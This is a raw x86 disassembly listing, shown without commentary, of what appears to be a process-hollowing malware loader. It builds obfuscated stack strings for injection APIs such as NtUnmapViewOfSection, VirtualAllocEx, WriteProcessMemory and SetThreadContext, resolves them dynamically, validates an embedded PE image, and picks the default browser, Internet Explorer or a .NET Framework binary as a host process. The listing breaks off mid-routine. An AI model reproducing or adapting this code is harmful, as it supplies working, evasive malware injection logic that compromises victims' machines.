mov byte [ebp - 0x297], bl
mov byte [ebp - 0x296], 0x74
mov byte [ebp - 0x295], 0x54
mov byte [ebp - 0x294], 0x69
mov byte [ebp - 0x293], 0x63
mov byte [ebp - 0x292], 0x6b
mov byte [ebp - 0x291], 0x43
mov byte [ebp - 0x290], 0x6f
mov byte [ebp - 0x28f], 0x75
mov byte [ebp - 0x28e], 0x6e
mov byte [ebp - 0x28d], 0x74
mov byte [ebp - 0x28c], 0
mov byte [ebp - 0x37c], 0x49
mov byte [ebp - 0x37b], 0x73
mov byte [ebp - 0x37a], 0x57
mov byte [ebp - 0x379], 0x6f
mov byte [ebp - 0x378], 0x77
mov byte [ebp - 0x377], 0x36
mov byte [ebp - 0x376], 0x34
mov byte [ebp - 0x375], 0x50
mov byte [ebp - 0x374], 0x72
mov byte [ebp - 0x373], 0x6f
mov byte [ebp - 0x372], 0x63
mov byte [ebp - 0x371], bl
mov byte [ebp - 0x370], 0x73
mov byte [ebp - 0x36f], 0x73
mov byte [ebp - 0x36e], 0
mov byte [ebp - 0x21c], 0x4f
mov byte [ebp - 0x21b], 0x70
mov byte [ebp - 0x21a], bl
mov byte [ebp - 0x219], 0x6e
mov byte [ebp - 0x218], 0x50
mov byte [ebp - 0x217], 0x72
mov byte [ebp - 0x216], 0x6f
mov byte [ebp - 0x215], 0x63
mov byte [ebp - 0x214], bl
mov byte [ebp - 0x213], 0x73
mov byte [ebp - 0x212], 0x73
mov byte [ebp - 0x211], 0
mov byte [ebp - 0x39c], 0x44
mov byte [ebp - 0x39b], 0x75
mov byte [ebp - 0x39a], 0x70
mov byte [ebp - 0x399], 0x6c
mov byte [ebp - 0x398], 0x69
mov byte [ebp - 0x397], 0x63
mov byte [ebp - 0x396], 0x61
mov byte [ebp - 0x395], 0x74
mov byte [ebp - 0x394], bl
mov byte [ebp - 0x393], dl
mov byte [ebp - 0x392], 0x61
mov byte [ebp - 0x391], 0x6e
mov byte [ebp - 0x390], 0x64
mov byte [ebp - 0x38f], 0x6c
mov byte [ebp - 0x38e], bl
mov byte [ebp - 0x38d], 0
mov byte [ebp - 0x520], 0x4e
mov byte [ebp - 0x51f], 0x74
mov byte [ebp - 0x51e], 0x55
mov byte [ebp - 0x51d], 0x6e
mov byte [ebp - 0x51c], 0x6d
mov byte [ebp - 0x51b], 0x61
mov byte [ebp - 0x51a], 0x70
mov byte [ebp - 0x519], 0x56
mov byte [ebp - 0x518], 0x69
mov byte [ebp - 0x517], bl
mov byte [ebp - 0x516], 0x77
mov byte [ebp - 0x515], 0x4f
mov byte [ebp - 0x514], 0x66
mov byte [ebp - 0x513], 0x53
mov byte [ebp - 0x512], bl
mov byte [ebp - 0x511], 0x63
mov byte [ebp - 0x510], 0x74
mov byte [ebp - 0x50f], 0x69
mov byte [ebp - 0x50e], 0x6f
mov byte [ebp - 0x50d], 0x6e
mov byte [ebp - 0x50c], 0
mov byte [ebp - 0x32c], 0x56
mov byte [ebp - 0x32b], 0x69
mov byte [ebp - 0x32a], 0x72
mov byte [ebp - 0x329], 0x74
mov byte [ebp - 0x328], 0x75
mov byte [ebp - 0x327], 0x61
mov byte [ebp - 0x326], 0x6c
mov byte [ebp - 0x325], 0x41
mov byte [ebp - 0x324], 0x6c
mov byte [ebp - 0x323], 0x6c
mov byte [ebp - 0x322], 0x6f
mov byte [ebp - 0x321], 0x63
mov byte [ebp - 0x320], 0x45
mov byte [ebp - 0x31f], 0x78
mov byte [ebp - 0x31e], 0
mov byte [ebp - 0x4a0], 0x57
mov byte [ebp - 0x49f], 0x72
mov byte [ebp - 0x49e], 0x69
mov byte [ebp - 0x49d], 0x74
mov byte [ebp - 0x49c], bl
mov byte [ebp - 0x49b], 0x50
mov byte [ebp - 0x49a], 0x72
mov byte [ebp - 0x499], 0x6f
mov byte [ebp - 0x498], 0x63
mov byte [ebp - 0x497], bl
mov byte [ebp - 0x496], 0x73
mov byte [ebp - 0x495], 0x73
mov byte [ebp - 0x494], 0x4d
mov byte [ebp - 0x493], bl
mov byte [ebp - 0x492], 0x6d
mov byte [ebp - 0x491], 0x6f
mov byte [ebp - 0x490], 0x72
mov byte [ebp - 0x48f], 0x79
mov byte [ebp - 0x48e], 0
mov byte [ebp - 0x3c4], al
mov byte [ebp - 0x3c3], bl
mov byte [ebp - 0x3c2], 0x74
mov byte [ebp - 0x3c1], 0x54
mov byte [ebp - 0x3c0], 0x68
mov byte [ebp - 0x3bf], 0x72
mov byte [ebp - 0x3be], bl
mov byte [ebp - 0x3bd], 0x61
mov byte [ebp - 0x3bc], 0x64
mov byte [ebp - 0x3bb], 0x43
mov byte [ebp - 0x3ba], 0x6f
mov byte [ebp - 0x3b9], 0x6e
mov byte [ebp - 0x3b8], 0x74
mov byte [ebp - 0x3b7], bl
mov byte [ebp - 0x3b6], 0x78
mov byte [ebp - 0x3b5], 0x74
mov byte [ebp - 0x3b4], 0
mov byte [ebp - 0x3ec], 0x53
mov byte [ebp - 0x3eb], bl
mov byte [ebp - 0x3ea], 0x74
mov byte [ebp - 0x3e9], 0x54
mov byte [ebp - 0x3e8], 0x68
mov byte [ebp - 0x3e7], 0x72
mov byte [ebp - 0x3e6], bl
mov byte [ebp - 0x3e5], 0x61
mov byte [ebp - 0x3e4], 0x64
mov byte [ebp - 0x3e3], 0x43
mov byte [ebp - 0x3e2], 0x6f
mov byte [ebp - 0x3e1], 0x6e
mov byte [ebp - 0x3e0], 0x74
mov byte [ebp - 0x3df], bl
mov byte [ebp - 0x3de], 0x78
mov byte [ebp - 0x3dd], 0x74
mov byte [ebp - 0x3dc], 0
mov byte [ebp - 0x278], 0x52
mov byte [ebp - 0x277], bl
mov byte [ebp - 0x276], 0x73
mov byte [ebp - 0x275], 0x75
mov byte [ebp - 0x274], 0x6d
mov byte [ebp - 0x273], bl
mov byte [ebp - 0x272], 0x54
mov byte [ebp - 0x271], 0x68
mov byte [ebp - 0x270], 0x72
mov byte [ebp - 0x26f], bl
mov byte [ebp - 0x26e], 0x61
mov byte [ebp - 0x26d], 0x64
mov byte [ebp - 0x26c], 0
mov byte [ebp - 0x30c], 0x53
mov byte [ebp - 0x30b], 0x75
mov byte [ebp - 0x30a], 0x73
mov byte [ebp - 0x309], 0x70
mov byte [ebp - 0x308], bl
mov byte [ebp - 0x307], 0x6e
mov byte [ebp - 0x306], 0x64
mov byte [ebp - 0x305], 0x54
mov byte [ebp - 0x304], 0x68
mov byte [ebp - 0x303], 0x72
mov byte [ebp - 0x302], bl
mov byte [ebp - 0x301], 0x61
mov byte [ebp - 0x300], 0x64
mov byte [ebp - 0x2ff], 0
mov byte [ebp - 0x428], 0x54
mov byte [ebp - 0x427], bl
mov byte [ebp - 0x426], 0x72
mov byte [ebp - 0x425], 0x6d
mov byte [ebp - 0x424], 0x69
mov byte [ebp - 0x423], 0x6e
mov byte [ebp - 0x422], 0x61
mov byte [ebp - 0x421], 0x74
mov byte [ebp - 0x420], bl
mov byte [ebp - 0x41f], 0x50
mov byte [ebp - 0x41e], 0x72
mov byte [ebp - 0x41d], 0x6f
mov byte [ebp - 0x41c], 0x63
mov byte [ebp - 0x41b], bl
mov byte [ebp - 0x41a], 0x73
mov byte [ebp - 0x419], 0x73
mov byte [ebp - 0x418], 0
mov byte [ebp - 0x4f0], 0x4e
mov byte [ebp - 0x4ef], 0x74
mov byte [ebp - 0x4ee], 0x52
mov byte [ebp - 0x4ed], bl
mov byte [ebp - 0x4ec], 0x61
mov byte [ebp - 0x4eb], 0x64
mov byte [ebp - 0x4ea], 0x56
mov byte [ebp - 0x4e9], 0x69
mov byte [ebp - 0x4e8], 0x72
mov byte [ebp - 0x4e7], 0x74
mov byte [ebp - 0x4e6], 0x75
mov byte [ebp - 0x4e5], 0x61
mov byte [ebp - 0x4e4], 0x6c
mov byte [ebp - 0x4e3], 0x4d
mov byte [ebp - 0x4e2], bl
mov byte [ebp - 0x4e1], 0x6d
mov byte [ebp - 0x4e0], 0x6f
mov edi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov byte [ebp - 0x38c], al
mov byte [ebp - 0x508], al
lea eax, [ebp - 0x34c]
lea ecx, [ebp - 0x14]
push eax
push ecx
mov byte [ebp - 0x4df], 0x72
mov byte [ebp - 0x4de], 0x79
mov byte [ebp - 0x4dd], 0
mov byte [ebp - 0x38b], bl
mov byte [ebp - 0x38a], 0x74
mov byte [ebp - 0x389], 0x43
mov byte [ebp - 0x388], 0x6f
mov byte [ebp - 0x387], 0x6d
mov byte [ebp - 0x386], 0x6d
mov byte [ebp - 0x385], 0x61
mov byte [ebp - 0x384], 0x6e
mov byte [ebp - 0x383], 0x64
mov byte [ebp - 0x382], 0x4c
mov byte [ebp - 0x381], 0x69
mov byte [ebp - 0x380], 0x6e
mov byte [ebp - 0x37f], bl
mov byte [ebp - 0x37e], 0x57
mov byte [ebp - 0x37d], 0
mov byte [ebp - 0x507], bl
mov byte [ebp - 0x506], 0x74
mov byte [ebp - 0x505], 0x50
mov byte [ebp - 0x504], 0x72
mov byte [ebp - 0x503], 0x6f
mov byte [ebp - 0x502], 0x63
mov byte [ebp - 0x501], bl
mov byte [ebp - 0x500], 0x73
mov byte [ebp - 0x4ff], 0x73
mov byte [ebp - 0x4fe], 0x4d
mov byte [ebp - 0x4fd], bl
mov byte [ebp - 0x4fc], 0x6d
mov byte [ebp - 0x4fb], 0x6f
mov byte [ebp - 0x4fa], 0x72
mov byte [ebp - 0x4f9], 0x79
mov byte [ebp - 0x4f8], 0x49
mov byte [ebp - 0x4f7], 0x6e
mov byte [ebp - 0x4f6], 0x66
mov byte [ebp - 0x4f5], 0x6f
mov byte [ebp - 0x4f4], 0
mov byte [ebp - 0x1b4], 0x57
mov byte [ebp - 0x1b3], 0x72
mov byte [ebp - 0x1b2], 0x69
mov byte [ebp - 0x1b1], 0x74
mov byte [ebp - 0x1b0], bl
mov byte [ebp - 0x1af], 0x46
mov byte [ebp - 0x1ae], 0x69
mov byte [ebp - 0x1ad], 0x6c
mov byte [ebp - 0x1ac], bl
mov byte [ebp - 0x1ab], 0
call edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, eax
lea edx, [ebp - 0x43c]
lea eax, [ebp - 0x14]
push edx
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x478]
lea edx, [ebp - 0x14]
push ecx
push edx
mov dword [ebp - 4], eax
call eax
push eax
call esi
mov dword [ebp - 0x5b8], eax
lea eax, [ebp - 0x464]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x220], eax
lea edx, [ebp - 0x1dc]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x1ec]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [ebp - 4]
push eax
call esi
lea eax, [ebp - 0x154]
lea ecx, [ebp - 0x14]
push eax
push ecx
call edi
push eax
call esi
lea edx, [ebp - 0x1cc]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x288]
lea edx, [ebp - 0x14]
push ecx
push edx
mov dword [ebp - 0x5b0], eax
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x63c], eax
lea eax, [ebp - 0x240]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x120], eax
lea edx, [ebp - 0x22c]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x24c]
lea edx, [ebp - 0x14]
push ecx
push edx
mov dword [ebp - 0x40], eax
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x178]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x90], eax
lea edx, [ebp - 0x4b4]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x4dc]
mov dword [ebp - 0x25c], eax
push ecx
lea edx, [ebp - 0x14]
push edx
call dword [ebp - 4]
push eax
call esi
lea eax, [ebp - 0x48c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x68], eax
lea edx, [ebp - 0x204]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x548]
lea edx, [ebp - 0x190]
push ecx
push edx
mov dword [ebp - 0x5a8], eax
call edi
push eax
call esi
mov dword [ebp - 0x5a0], eax
lea eax, [ebp - 0x560]
lea ecx, [ebp - 0x190]
push eax
push ecx
call edi
push eax
call esi
mov dword [ebp - 0x630], eax
lea edx, [ebp - 0x2ec]
lea eax, [ebp - 0x7c]
push edx
push eax
call edi
push eax
call esi
lea ecx, [ebp - 0x2dc]
lea edx, [ebp - 0x7c]
push ecx
push edx
mov dword [ebp - 0x34], eax
call edi
push eax
call esi
lea eax, [ebp - 0x3b0]
lea ecx, [ebp - 0x7c]
push eax
push ecx
call edi
push eax
call esi
mov dword [ebp - 0x94], eax
lea edx, [ebp - 0x3d8]
lea eax, [ebp - 0x7c]
push edx
push eax
call edi
push eax
call esi
lea ecx, [ebp - 0x36c]
lea edx, [ebp - 0x7c]
push ecx
push edx
call edi
push eax
call esi
lea eax, [ebp - 0x33c]
lea ecx, [ebp - 0x7c]
push eax
push ecx
call edi
push eax
call esi
lea edx, [ebp - 0x1f8]
lea eax, [ebp - 0x7c]
push edx
push eax
call edi
push eax
call esi
lea ecx, [ebp - 0x400]
lea edx, [ebp - 0x14]
push ecx
push edx
mov dword [ebp - 0x18], eax
call dword [ebp - 4]
push eax
call esi
lea eax, [ebp - 0x12c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x3c], eax
lea edx, [ebp - 0x210]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x268]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [ebp - 4]
push eax
call esi
lea eax, [ebp - 0x1c0]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x658], eax
lea edx, [ebp - 0x258]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x16c]
lea edx, [ebp - 0x14]
push ecx
push edx
mov dword [ebp - 0x5ac], eax
call dword [ebp - 4]
push eax
call esi
lea eax, [ebp - 0x2b8]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x5c4], eax
lea edx, [ebp - 0x298]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x2cc]
lea edx, [ebp - 0x14]
push ecx
push edx
mov dword [ebp - 0x5bc], eax
call edi
push eax
call esi
lea eax, [ebp - 0x184]
lea ecx, [ebp - 0x14]
push eax
push ecx
call edi
push eax
call esi
lea edx, [ebp - 0x414]
lea eax, [ebp - 0x7c]
push edx
push eax
call edi
push eax
call esi
lea ecx, [ebp - 0x4c8]
lea edx, [ebp - 0x7c]
push ecx
push edx
mov dword [ebp - 0x664], eax
call edi
push eax
call esi
mov dword [ebp - 0x648], eax
lea eax, [ebp - 0x57c]
lea ecx, [ebp - 0x7c]
push eax
push ecx
call edi
push eax
call esi
mov dword [ebp - 0x660], eax
lea edx, [ebp - 0x19c]
lea eax, [ebp - 0x7c]
push edx
push eax
call edi
push eax
call esi
lea ecx, [ebp - 0x450]
lea edx, [ebp - 0x7c]
push ecx
push edx
mov dword [ebp - 0x668], eax
call edi
push eax
call esi
mov dword [ebp - 0x638], eax
lea eax, [ebp - 0x154]
lea ecx, [ebp - 0x14]
push eax
push ecx
call edi
push eax
call esi
lea edx, [ebp - 0x2cc]
lea eax, [ebp - 0x14]
push edx
push eax
call edi
push eax
call esi
lea ecx, [ebp - 0x184]
lea edx, [ebp - 0x14]
push ecx
push edx
mov dword [ebp - 0x59c], eax
call edi
push eax
call esi
mov dword [ebp - 0x64c], eax
lea eax, [ebp - 0x154]
lea ecx, [ebp - 0x14]
push eax
push ecx
call edi
push eax
call esi
mov dword [ebp - 0x38], eax
lea edx, [ebp - 0x598]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x35c]
lea edx, [ebp - 0x14]
push ecx
push edx
mov dword [ebp - 0x118], eax
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x644], eax
lea eax, [ebp - 0x31c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x48], eax
lea edx, [ebp - 0x2fc]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x2a8]
lea edx, [ebp - 0x14]
push ecx
push edx
mov dword [ebp - 0x654], eax
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x5c8], eax
lea eax, [ebp - 0x1dc]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x5c0], eax
lea edx, [ebp - 0x1ec]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x520]
lea edx, [ebp - 0x160]
push ecx
push edx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x32c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x114], eax
lea edx, [ebp - 0x4a0]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x3c4]
mov dword [ebp - 0x640], eax
push ecx
lea edx, [ebp - 0x14]
push edx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x650], eax
lea eax, [ebp - 0x3ec]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [ebp - 4]
push eax
call esi
lea edx, [ebp - 0x278]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x30c]
lea edx, [ebp - 0x14]
push ecx
push edx
mov dword [ebp - 0x130], eax
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x124], eax
lea eax, [ebp - 0x428]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x234], eax
lea edx, [ebp - 0x16c]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x4f0]
lea edx, [ebp - 0x160]
push ecx
push edx
mov dword [ebp - 0x5b4], eax
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x634], eax
lea eax, [ebp - 0x37c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [ebp - 4]
push eax
call esi
mov dword [ebp - 0x5a4], eax
lea edx, [ebp - 0x21c]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [ebp - 4]
push eax
call esi
lea ecx, [ebp - 0x39c]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [ebp - 4]
push eax
call esi
lea eax, [ebp - 0x508]
lea ecx, [ebp - 0x1a8]
push eax
push ecx
call edi
push eax
call esi
mov edi, dword [ebp - 4]
lea edx, [ebp - 0x38c]
lea eax, [ebp - 0x14]
push edx
push eax
call edi
push eax
call esi
lea ecx, [ebp - 0x1b4]
lea edx, [ebp - 0x14]
push ecx
push edx
mov dword [ebp - 0x98], eax
call edi
push eax
call esi
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp + 8]
cmp eax, 7
je 0x407a97
cmp eax, 8
je 0x407a97
cmp eax, 9
je 0x407a97
cmp eax, 0xa
je 0x407a97
cmp eax, 0x14
jne 0x408b04
nop
nop
push 0x11
pop ecx
xor eax, eax
lea edi, [ebp - 0x6ac]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x6ac], 0x44
cmp word [eax], 0x5a4d
jne 0x409c4c
add eax, dword [eax + 0x3c]
mov dword [ebp - 0x230], eax
cmp dword [eax], 0x4550
jne 0x409c4c
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0xcea]
mov word [ebp - 0xcec], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0xcec]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
mov eax, dword [ebp + 8]
cmp eax, 0x14
jne 0x407b25
call dword [ebp - 0x98]
lea ecx, [ebp - 0xcec]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
jmp 0x407ee7
cmp eax, 9
jne 0x407ee7
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x148]
push edx
push 0xf003f
push 0
push eax
push 0x80000000
mov byte [ebp - 0x148], 0x68
mov byte [ebp - 0x147], 0x74
mov byte [ebp - 0x146], 0x74
mov byte [ebp - 0x145], 0x70
mov byte [ebp - 0x144], 0x5c
mov byte [ebp - 0x143], 0x73
mov byte [ebp - 0x142], 0x68
mov byte [ebp - 0x141], bl
mov byte [ebp - 0x140], 0x6c
mov byte [ebp - 0x13f], 0x6c
mov byte [ebp - 0x13e], 0x5c
mov byte [ebp - 0x13d], 0x6f
mov byte [ebp - 0x13c], 0x70
mov byte [ebp - 0x13b], bl
mov byte [ebp - 0x13a], 0x6e
mov byte [ebp - 0x139], 0x5c
mov byte [ebp - 0x138], 0x63
mov byte [ebp - 0x137], 0x6f
mov byte [ebp - 0x136], 0x6d
mov byte [ebp - 0x135], 0x6d
mov byte [ebp - 0x134], 0x61
mov byte [ebp - 0x133], 0x6e
mov byte [ebp - 0x132], 0x64
mov byte [ebp - 0x131], 0
mov dword [ebp - 0x98], 0x439
call dword [ebp - 0x34]
or eax, eax
jne 0x407ce1
lea ecx, [ebp - 0x98]
lea edx, [ebp - 0xae4]
push ecx
push edx
push eax
push eax
push eax
mov eax, dword [ebp - 0x1c]
push eax
call dword [ebp - 0x94]
test eax, eax
jne 0x407c9c
cmp byte [ebp - 0xae4], 0x22
jne 0x407c5f
lea edi, [ebp - 0xae4]
or ecx, 0xffffffff
sub eax, eax
sub edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x407c5f
mov cl, byte [ebp + edx - 0xae3]
lea edi, [ebp - 0xae4]
mov byte [ebp + edx - 0xae4], cl
or ecx, 0xffffffff
sub eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x407c3c
lea edi, [ebp - 0xae4]
or ecx, 0xffffffff
xor eax, eax
sub edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x407c9c
cmp byte [ebp + edx - 0xae4], 0x22
je 0x407c94
lea edi, [ebp - 0xae4]
or ecx, 0xffffffff
sub eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x407c73
jmp 0x407c9c
mov byte [ebp + edx - 0xae4], 0
mov edx, dword [ebp - 0x1c]
push edx
call dword [ebp - 0x18]
lea edi, [ebp - 0xae4]
or ecx, 0xffffffff
sub eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
inc ecx
je 0x407ce1
lea esi, [ebp - 0xcec]
movsx ax, byte [ebp + edx - 0xae4]
mov word [esi], ax
lea edi, [ebp - 0xae4]
or ecx, 0xffffffff
xor eax, eax
inc edx
add esi, 2
repne scasb al, byte es:[edi]
not ecx
cmp edx, ecx
jb 0x407cbe
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0
push ecx
call dword [ebp - 0x59c]
push eax
call dword [ebp - 0x5a4]
mov eax, dword [ebp - 0x20]
or eax, eax
je 0x407ee7
lea edx, [ebp - 0x2704]
push 0x400
push edx
mov byte [ebp - 0xd0], 0x50
mov byte [ebp - 0xcf], 0x72
mov byte [ebp - 0xce], 0x6f
mov byte [ebp - 0xcd], 0x67
mov byte [ebp - 0xcc], 0x72
mov byte [ebp - 0xcb], 0x61
mov byte [ebp - 0xca], 0x6d
mov byte [ebp - 0xc9], 0x20
mov byte [ebp - 0xc8], 0x46
mov byte [ebp - 0xc7], 0x69
mov byte [ebp - 0xc6], 0x6c
mov byte [ebp - 0xc5], bl
mov byte [ebp - 0xc4], 0x73
mov byte [ebp - 0xc3], 0x20
mov byte [ebp - 0xc2], 0x28
mov byte [ebp - 0xc1], 0x78
mov byte [ebp - 0xc0], 0x38
mov byte [ebp - 0xbf], 0x36
mov byte [ebp - 0xbe], 0x29
mov byte [ebp - 0xbd], 0x5c
mov byte [ebp - 0xbc], 0x49
mov byte [ebp - 0xbb], 0x6e
mov byte [ebp - 0xba], 0x74
mov byte [ebp - 0xb9], bl
mov byte [ebp - 0xb8], 0x72
mov byte [ebp - 0xb7], 0x6e
mov byte [ebp - 0xb6], bl
mov byte [ebp - 0xb5], 0x74
mov byte [ebp - 0xb4], 0x20
mov byte [ebp - 0xb3], 0x45
mov byte [ebp - 0xb2], 0x78
mov byte [ebp - 0xb1], 0x70
mov byte [ebp - 0xb0], 0x6c
mov byte [ebp - 0xaf], 0x6f
mov byte [ebp - 0xae], 0x72
mov byte [ebp - 0xad], bl
mov byte [ebp - 0xac], 0x72
mov byte [ebp - 0xab], 0x5c
mov byte [ebp - 0xaa], 0x69
mov byte [ebp - 0xa9], bl
mov byte [ebp - 0xa8], 0x78
mov byte [ebp - 0xa7], 0x70
mov byte [ebp - 0xa6], 0x6c
mov byte [ebp - 0xa5], 0x6f
mov byte [ebp - 0xa4], 0x72
mov byte [ebp - 0xa3], bl
mov byte [ebp - 0xa2], 0x2e
mov byte [ebp - 0xa1], bl
mov byte [ebp - 0xa0], 0x78
mov byte [ebp - 0x9f], bl
mov byte [ebp - 0x9e], 0
call dword [ebp - 0x25c]
lea edi, [ebp - 0xd0]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x2704]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x2701], 0
push edi
pop esi
push edx
pop edi
push ecx
pop edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
push edx
pop ecx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push edx
pop ecx
sub edx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x2704]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
inc ecx
je 0x407ee7
lea esi, [ebp - 0xcec]
movsx ax, byte [ebp + edx - 0x2704]
mov word [esi], ax
lea edi, [ebp - 0x2704]
or ecx, 0xffffffff
xor eax, eax
inc edx
add esi, 2
repne scasb al, byte es:[edi]
not ecx
cmp edx, ecx
jb 0x407ec4
sub esi, esi
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x16c2]
mov word [ebp - 0x16c4], si
mov word [ebp - 0x10d4], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
sub eax, eax
lea edi, [ebp - 0x10d2]
mov word [ebp - 0x18cc], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x18ca]
push esi
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x16c4]
push 0x24
push ecx
push esi
stosw word es:[edi], ax
call dword [ebp - 0x5a0]
lea edx, [ebp - 0xcec]
lea eax, [ebp - 0x10d4]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
mov edi, dword [sym.imp.MSVCRT.dll_wcscat]
lea ecx, [ebp - 0x110]
lea edx, [ebp - 0x10d4]
push ecx
push edx
mov word [ebp - 0x110], 0x78
mov word [ebp - 0x10e], si
call edi
lea eax, [ebp - 0x10d4]
lea ecx, [ebp - 0x18cc]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcscpy]
lea edx, [ebp - 0x110]
lea eax, [ebp - 0x18cc]
push edx
push eax
call edi
nop
push 0x5c
nop
pop eax
push eax
pop eax
push 0x6f
pop ecx
push ecx
pop ecx
push 0x2e
pop edx
mov word [ebp - 0x628], ax
mov word [ebp - 0x626], 0x4d
mov word [ebp - 0x624], 0x69
mov word [ebp - 0x622], 0x63
mov word [ebp - 0x620], 0x72
mov word [ebp - 0x61e], cx
mov word [ebp - 0x61c], 0x73
mov word [ebp - 0x61a], cx
mov word [ebp - 0x618], 0x66
mov word [ebp - 0x616], 0x74
mov word [ebp - 0x614], dx
mov word [ebp - 0x612], 0x4e
mov word [ebp - 0x610], 0x45
mov word [ebp - 0x60e], 0x54
mov word [ebp - 0x60c], ax
mov word [ebp - 0x60a], 0x46
mov word [ebp - 0x608], 0x72
mov word [ebp - 0x606], 0x61
mov word [ebp - 0x604], 0x6d
mov word [ebp - 0x602], bx
mov word [ebp - 0x600], 0x77
mov word [ebp - 0x5fe], cx
mov word [ebp - 0x5fc], 0x72
mov word [ebp - 0x5fa], 0x6b
mov word [ebp - 0x5f8], ax
mov word [ebp - 0x5f6], 0x76
mov word [ebp - 0x5f4], 0x32
mov word [ebp - 0x5f2], dx
mov word [ebp - 0x5f0], 0x30
mov word [ebp - 0x5ee], dx
mov word [ebp - 0x5d8], cx
mov word [ebp - 0x5d4], dx
lea ecx, [ebp - 0x628]
lea edx, [ebp - 0x16c4]
push ecx
push edx
